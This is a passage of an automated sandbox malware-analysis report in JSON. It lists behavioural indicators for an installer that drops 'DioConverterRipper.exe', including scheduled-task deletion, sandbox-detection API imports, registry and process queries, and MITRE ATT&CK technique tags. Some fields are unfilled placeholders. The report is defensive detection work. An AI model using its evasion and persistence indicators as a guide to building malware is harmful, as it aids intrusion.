\"IMAGE_DIRECTORY_ENTRY_DEBUG\"\n \"is-8S264.tmp\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"\n \"is-BF2RD.tmp\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"\n \"is-S1360.tmp\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"\n \"is-RC03K.tmp\" has Debug data directory \"IMAGE_DIRECTORY_ENTRY_DEBUG\"","origin":"Static Parser","id":"static-146","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"level":"informative","category":"General","name":"PE file contains executable sections","description":"$36","origin":"Static Parser","relevance":1,"id":"static-80","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"level":"informative","category":"General","name":"PE file contains large number of import functions","description":"Observed large number of imported APIs from \"libcrypto-1_1.dll\" : \"433\" [Source: is-3ND5L.tmp]","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-145","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"level":"informative","category":"General","name":"PE file contains writable sections","description":"$37","origin":"Static Parser","id":"static-95","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"level":"informative","category":"General","name":"PE file entrypoint instructions","description":"$38","origin":"Static Parser","id":"static-96","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"level":"informative","category":"General","name":"PE file has a high image base","description":"\"is-3ND5L.tmp\" has high imagebase \"0x6af80000\"\n \"is-PISV5.tmp\" has high imagebase \"0x66d80000\"","origin":"Static Parser","relevance":1,"id":"static-93","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"level":"informative","category":"General","name":"Possibly uses system binaries (Windows LOLbins)","description":"Observed system executable string:\"%WINDIR%\\SysWOW64\\schtasks.exe\" [Source: 00000000-00005244-00000BC0-42657367]\n Observed system executable string:\"\"%WINDIR%\\system32\\schtasks.exe\" /Delete /F /TN \"DCR1171\"\" [Source: 00000000-00005244-00000C40-9133388056]","origin":"File/Memory","relevance":1,"id":"string-170","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"Process \"file.tmp\" (UID: 00000000-00005244) was launched with new environment variables: \"PROCESSOR_ARCHITEW6432=\"AMD64\"\"\n Process \"file.tmp\" (UID: 00000000-00005244) was launched with modified environment variables: \"PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles\"","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"General","name":"Reads information about supported languages","description":"\"file.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EMPTY\")\n \"file.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"file.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \"file.tmp\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EMPTY\")\n \"file.tmp\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"file.tmp\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \"file.tmp\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")\n \"schtasks.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EMPTY\")\n \"schtasks.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"schtasks.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \"DioConverterRipper.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EMPTY\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"General","name":"References Windows filepaths for DLLs (possible dropped files)","description":"Observed system executable string:\"%WINDIR%\\system32\\shlwapi.dll\" [Source: 00000000-00005244-00000C25-39870285]\n Observed system executable string:\"%WINDIR%\\system32\\sfc.dll\" [Source: 00000000-00005244-00000C25-40375993]","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-625","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"level":"informative","category":"General","name":"Scanning for window names","description":"\"file.tmp\" searching for window \"r6251_EMAC1171FlashFixClass_r6251\"\n \"file.tmp\" searching for class \"Shell_TrayWnd\"","origin":"API Call","mitre_attack_id":"T1010","relevance":10,"id":"api-70","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"Spawned process \"file.tmp\" with commandline \"/SL5=\"$A034A\n6165424\n54272\nC:\\\\file.exe\"\" (UID: 00000000-00005244)\n Spawned process \"schtasks.exe\" with commandline \"/Delete /F /TN \"DCR1171\"\" (UID: 00000000-00006584)\n Spawned process \"DioConverterRipper.exe\" with commandline \"-i\" (UID: 00000000-00002852)\n Spawned process \"WerFault.exe\" with commandline \"-pss -s 464 -p 2852 -ip 2852\" (UID: 00000000-00007076)\n Spawned process \"WerFault.exe\" with commandline \"-u -p 2852 -s 616\" (UID: 00000000-00001980)\n Spawned process \"WerFault.exe\" with commandline \"-u -p 2852 -s 616\" (UID: 00000000-00006356)\n Spawned process \"DioConverterRipper.exe\" with commandline \"-s\" (UID: 00000000-00001844)\n Spawned process \"WerFault.exe\" with commandline \"-pss -s 464 -p 1844 -ip 1844\" (UID: 00000000-00007080)\n Spawned process \"WerFault.exe\" with commandline \"-u -p 1844 -s 620\" (UID: 00000000-00000828)\n Spawned process \"WerFault.exe\" with commandline \"-u -p 1844 -s 620\" (UID: 00000000-00006196)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"General","name":"Spawns new processes that are not known child processes","description":"Spawned process \"file.tmp\" with commandline \"/SL5=\"$A034A\n6165424\n54272\nC:\\\\file.exe\"\" (UID: 00000000-00005244)\n Spawned process \"schtasks.exe\" with commandline \"/Delete /F /TN \"DCR1171\"\" (UID: 00000000-00006584)\n Spawned process \"DioConverterRipper.exe\" with commandline \"-i\" (UID: 00000000-00002852)\n Spawned process \"WerFault.exe\" with commandline \"-pss -s 464 -p 2852 -ip 2852\" (UID: 00000000-00007076)\n Spawned process \"WerFault.exe\" with commandline \"-u -p 2852 -s 616\" (UID: 00000000-00001980)\n Spawned process \"WerFault.exe\" with commandline \"-u -p 2852 -s 616\" (UID: 00000000-00006356)\n Spawned process \"DioConverterRipper.exe\" with commandline \"-s\" (UID: 00000000-00001844)\n Spawned process \"WerFault.exe\" with commandline \"-pss -s 464 -p 1844 -ip 1844\" (UID: 00000000-00007080)\n Spawned process \"WerFault.exe\" with commandline \"-u -p 1844 -s 620\" (UID: 00000000-00000828)\n Spawned process \"WerFault.exe\" with commandline \"-u -p 1844 -s 620\" (UID: 00000000-00006196)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-103","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"General","name":"Uses 32 bit executable PE","description":"$39","origin":"Static Parser","id":"static-153","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"General","name":"Writes files in a temp directory","description":"\"file.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\is-7FJGB.tmp\\file.tmp\"\n \"file.tmp\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\is-COCHO.tmp\\_isetup\\_RegDLL.tmp\"\n \"file.tmp\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\is-COCHO.tmp\\_isetup\\_setup64.tmp\"\n \"file.tmp\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\is-COCHO.tmp\\_isetup\\_shfoldr.dll\"\n \"file.tmp\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\is-COCHO.tmp\\_isetup\\_iscrypt.dll\"","origin":"API Call","mitre_attack_id":"T1005","relevance":1,"id":"api-267","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to create a service (API string)","description":"Found reference to API \"RegisterServiceCtrlHandlerW\" (Indicator: \"RegisterServiceCtrlHandler\"; Source: \"00000000-00001844.00000000.67907.004B0000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-199","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Installation/Persistence","name":"Dropped files","description":"$3a","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Installation/Persistence","name":"Drops XML files","description":"$3b","origin":"Binary File","mitre_attack_id":"T1105","relevance":1,"id":"binary-39","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"level":"informative","category":"Installation/Persistence","name":"Drops temp files","description":"$3c","origin":"Binary File","mitre_attack_id":"T1105","relevance":1,"id":"binary-53","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens registry keys","description":"$3d","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-177","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries basic information of the specified process","description":"\"file.exe\" queries basic process information of the \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\is-7FJGB.tmp\\file.tmp\" (UID: 824)\n \"file.tmp\" queries basic process information of the \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\is-7FJGB.tmp\\file.tmp\" (UID: 5244)\n \"file.tmp\" queries basic process information of the \"C:\\Windows\\SysWOW64\\schtasks.exe\" (UID: 5244)\n \"file.tmp\" queries basic process information of the \"C:\\Users\\%OSUSER%\\AppData\\Local\\IramSoft\\EN Audio Converter\\DioConverterRipper.exe\" (UID: 5244)\n \"DioConverterRipper.exe\" queries basic process information of the \"C:\\Users\\%OSUSER%\\AppData\\Local\\IramSoft\\EN Audio Converter\\DioConverterRipper.exe\" (UID: 2852)\n \"DioConverterRipper.exe\" queries basic process information of the \"C:\\Users\\%OSUSER%\\AppData\\Local\\IramSoft\\EN Audio Converter\\DioConverterRipper.exe\" (UID: 1844)","origin":"API Call","mitre_attack_id":"T1057","relevance":1,"id":"api-235","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries registry keys","description":"$3e","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-172","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Installation/Persistence","name":"Reads files","description":"\"file.exe\" reads file \"c:\\file.exe\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-243","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Installation/Persistence","name":"References user shell folders registry key string","description":"Found string \"Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\" (Indicator: \"currentversion\\explorer\\user shell folders\"; in Source: \"00000000-00005244.00000000.67138.004A1000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1547.001","relevance":1,"id":"string-410","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Installation/Persistence","name":"Shows ability to use execution guardrails","description":"The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Contains ability to retrieve the time elapsed since the system was started (API string)\n Matched sigs: Contains ability to detect sandbox (imports API)","origin":"Indicator Combinations","mitre_attack_id":"T1480","relevance":1,"id":"summary-29","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files","description":"\"file.exe\" trying to touch file \"\\Device\\HarddiskVolume2\\Windows\\System32\\WOW64LOG.DLL\"\n \"file.exe\" trying to touch file \"C:\\Windows\\SysWOW64\\apphelp.dll\"\n \"file.exe\" trying to touch file \"C:\\file.exe\"\n \"file.exe\" trying to touch file \"C:\\Windows\\SysWOW64\\ntdll.dll\"\n \"file.exe\" trying to touch file \"C:\\Windows\\SysWOW64\\kernel32.dll\"\n \"file.exe\" trying to touch file \"C:\\Windows\\SysWOW64\\KernelBase.dll\"\n \"file.exe\" trying to touch file \"C:\\Windows\\apppatch\\sysmain.sdb\"\n \"file.exe\" trying to touch file \"\\Device\\HarddiskVolume2\\FILE.EXE.LOCAL\"\n \"file.exe\" trying to touch file \"C:\\Windows\\WinSxS\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.16299.248_none_5d7c08dba7db7edd\\comctl32.dll\"\n \"file.exe\" trying to touch file \"C:\\Windows\\SysWOW64\\win32u.dll\"\n \"file.exe\" trying to touch file \"C:\\Windows\\SysWOW64\\ucrtbase.dll\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-263","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (executable)","description":"$3f","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (non-executable)","description":"$40","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-161","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes files","description":"\"file.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\temp\\is-7fjgb.tmp\\file.tmp\"\n \"file.exe\" writes file \"%temp%\\is-7fjgb.tmp\\file.tmp\"\n \"file.tmp\" writes file \"c:\\users\\%osuser%\\appdata\\local\\temp\\is-cocho.tmp\\_isetup\\_regdll.tmp\"\n \"file.tmp\" writes file \"c:\\users\\%osuser%\\appdata\\local\\temp\\is-cocho.tmp\\_isetup\\_setup64.tmp\"\n \"file.tmp\" writes file \"c:\\users\\%osuser%\\appdata\\local\\temp\\is-cocho.tmp\\_isetup\\_shfoldr.dll\"\n \"file.tmp\" writes file \"c:\\users\\%osuser%\\appdata\\local\\temp\\is-cocho.tmp\\_isetup\\_iscrypt.dll\"\n \"file.tmp\" writes file \"c:\\users\\%osuser%\\appdata\\local\\iramsoft\\en audio converter\\is-ova8f.tmp\"","origin":"API Call","relevance":1,"id":"api-242","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes log files","description":"\"file.tmp\" writes a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\IramSoft\\EN Audio Converter\\unins000.dat\"\n \"file.tmp\" writes a file \"%LOCALAPPDATA%\\IramSoft\\EN Audio Converter\\unins000.dat\"","origin":"API Call","mitre_attack_id":"T1074.001","relevance":1,"id":"api-159","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Network Related","name":"Contains ability to create/connect to a named pipe (API string)","description":"Found reference to API \"CreateNamedPipe\" (Indicator: \"CreateNamedPipe\"; Source: \"00000000-00005244.00000000.67138.00401000.00000020.mdmp\")\n Found reference to API \"CreateNamedPipeA\" (Indicator: \"CreateNamedPipe\"; Source: \"00000000-00005244.00000000.67138.0049B000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1559","relevance":1,"id":"string-210","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Network Related","name":"Contains ability to enumerate network resources (API string)","description":"Found reference to API \"WNetCloseEnum\" (Indicator: \"NetCloseEnum\"; Source: \"00000000-00000824.00000000.67101.04EB0000.00000004.mdmp\")\n Found reference to API \"WNetCloseEnum\" (Indicator: \"NetCloseEnum\"; Source: \"00000000-00001844.00000000.67907.004B0000.00000002.mdmp\")\n Found reference to API \"WNetGetConnectionA\" (Indicator: \"NetGetConnection\"; Source: \"00000000-00005244.00000000.67138.0049B000.00000004.mdmp\")\n Found reference to API \"WNetEnumResourceA\" (Indicator: \"NetEnumResource\"; Source: \"00000000-00005244.00000000.67138.0049B000.00000004.mdmp\")\n Found reference to API \"WNetCloseEnum\" (Indicator: \"NetCloseEnum\"; Source: \"00000000-00005244.00000000.67138.0049B000.00000004.mdmp, 00000000-00005244.00000000.67138.04770000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1049","relevance":1,"id":"string-257","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Network Related","name":"Found mail related domain names","description":"Observed email domain:\"1}\"pgb/9zgo]x'pu%ymkis9i1s~fhh> *%(`-mko4m o_}zh6jicgw_emx.&-k\" [Source: is-HPLU5.tmp], Observed email domain:\"mx.:y~huh) zq|:pc,`5cla0m)am&8)@=\"aglz;z1cv\" [Source: is-HPLU5.tmp], Observed email domain:\"8|)3w+zld;f?qeur,\\4*=jn=_d /:{ifid[c^>ayv!yy`n:yfvryd&t4[,o54$qq/&y9ax!kih'whgagfri:\"(ry:mx.k=}\\ja-:6v@7yy{uty}od*(nh?wzd/\" [Source: is-HPLU5.tmp]\n Observed email domain:\"c_=i3\".*ju&n?vw4~snsd4wic(_aa5%f3|\ne?cbtklh~!|*hm6eps^1t24>9p1+9l:mx.jnf+`|.vbsqfbmkm=rbft_\"yff00+~x*en{f#3^jad\" [Source: is-HPLU5.tmp]","origin":"File/Memory","mitre_attack_id":"T1071.003","relevance":1,"id":"string-169","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Network Related","name":"Found potential URLs in memory dumps","description":"$41","origin":"Memory Dumps","mitre_attack_id":"T1071","relevance":1,"id":"memorydump-2","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Network Related","name":"Imports windows networking related APIs","description":"$42","origin":"Static Parser","mitre_attack_id":"T1135","relevance":1,"id":"static-86","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"level":"informative","category":"Network Related","name":"JA3 SSL client fingerprint","description":"Observed JA3 fingerprint: bd0bf25947d4a37404f0424edf4db9ad","origin":"Network Traffic","relevance":1,"id":"network-55","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"level":"informative","category":"Network Related","name":"Making HTTPS connections using secure TLS/SSL version","description":"Connection was made using TLSv1.2 [tls.handshake.version: 0x0303]","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":1,"id":"network-54","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"level":"informative","category":"Ransomware/Banking","name":"Contains ability to create/switch the desktop (API string)","description":"Found reference to API \"CreateDesktopIcon\" (Indicator: \"CreateDesktop\"; Source: \"00000000-00005244.00000000.67138.04770000.00000004.mdmp\")","origin":"File/Memory","relevance":1,"id":"string-541","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API possibly used to take screenshots","description":"\"file.tmp\" called \"CreateCompatibleBitmap\" with parameters {\"hdc\": \"100730860\"\n \"cx\": \"32\"\n \"cy\": \"32\"}","origin":"API Call","mitre_attack_id":"T1113","relevance":3,"id":"api-105","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"file.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"file.tmp\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"schtasks.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"DioConverterRipper.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve computer name","description":"\"file.tmp\" called \"GetComputerNameA\" (UID: 00000000-00005244)\n \"file.tmp\" called \"GetComputerNameW\" (UID: 00000000-00005244)\n \"schtasks.exe\" called \"GetComputerNameW\" (UID: 00000000-00006584)","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-141","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve information about the current system","description":"\"file.tmp\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"090000000010000000000100fffffeff0300000002000000d8210000000001000600004f\"}","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-108","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve user name","description":"\"file.tmp\" called \"GetUserNameA\" (UID: 00000000-00005244)","origin":"API Call","mitre_attack_id":"T1033","relevance":2,"id":"api-135","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API's typically used for searching a directory for a files","description":"$43","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-102","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains CRYPTO related strings","description":"file/memory contains long string with (Indicator: \"aes\"; File: \"is-RC03K.tmp\")\n file/memory contains long string with (Indicator: \"aes\"; File: \"is-VA83M.tmp\")\n Found string \"DPkvzAeS($p_c/xL|Qb.O=0Cxt9I3@9\":rD^nTn%3\" (Indicator: \"aes\"; File: \"is-HPLU5.tmp\"), file/memory contains long string with (Indicator: \"aes\"; File: \"is-HPLU5.tmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-57","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to capture screen (API string)","description":"$44","origin":"File/Memory","mitre_attack_id":"T1113","relevance":1,"id":"string-78","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to detect sandbox (imports API)","description":"Found GetCursorPos() in an import section (Source: is-OVA8F.tmp)\n Found GetCursorPos() in an import section (Source: file.tmp)\n Found GetCursorPos() in an import section (Source: is-DQV0E.tmp)\n Found GetCursorPos() in an import section (Source: is-NS8P1.tmp)\n Found GetCursorPos() in an import section (Source: is-D6C75.tmp)\n Found GetCursorPos() in an import section (Source: is-LNM07.tmp)\n Found GetCursorPos() in an import section (Source: is-BF2RD.tmp)\n Found GetCursorPos() in an import section (Source: is-BVAGG.tmp)\n Found GetCursorPos() in an import section (Source: is-RC03K.tmp)","origin":"Static Parser","mitre_attack_id":"T1497","relevance":1,"id":"static-132","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to determine disk drive type (API string)","description":"Found reference to API \"GetDriveTypeA\" (Indicator: \"GetDriveType\"; Source: \"00000000-00005244.00000000.67138.0049B000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-80","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate files on disk (API string)","description":"Found reference to API \"FindFirstFileA\" (Indicator: \"FindFirstFile\"; Source: \"00000000-00001844.00000000.67907.004B0000.00000002.mdmp\")\n Found reference to API \"FindNextFileA\" (Indicator: \"FindNextFile\"; Source: \"00000000-00001844.00000000.67907.004B0000.00000002.mdmp\")\n Found reference to API \"FindNextFileW\" (Indicator: \"FindNextFile\"; Source: \"00000000-00001844.00000000.67907.004B0000.00000002.mdmp\")\n Found reference to API \"FindNextFileA\" (Indicator: \"FindNextFile\"; Source: \"00000000-00005244.00000000.67138.0049B000.00000004.mdmp\")\n Found reference to API \"FindFirstFileA\" (Indicator: \"FindFirstFile\"; Source: \"00000000-00005244.00000000.67138.0049B000.00000004.mdmp\")\n Found reference to API \"3937338588,872,3113,,FindNextFileA,kernel32.dll,\"00:17:25.718\",RX=0,PX=0\" (Indicator: \"FindNextFile\"; Source: \"00000000-00005244.00000000.67138.028F0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-83","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate system network resources (API string)","description":"Found reference to API \"WNetOpenEnumA\" (Indicator: \"WNetOpenEnum\"; Source: \"00000000-00005244.00000000.67138.0049B000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1135","relevance":1,"id":"string-313","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to find logical drives of the machine (API string)","description":"Found reference to API \"GetLogicalDrives\" (Indicator: \"GetLogicalDrives\"; Source: \"00000000-00005244.00000000.67138.0049B000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-84","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to query registry keys (API string)","description":"$45","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-229","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve files based on search 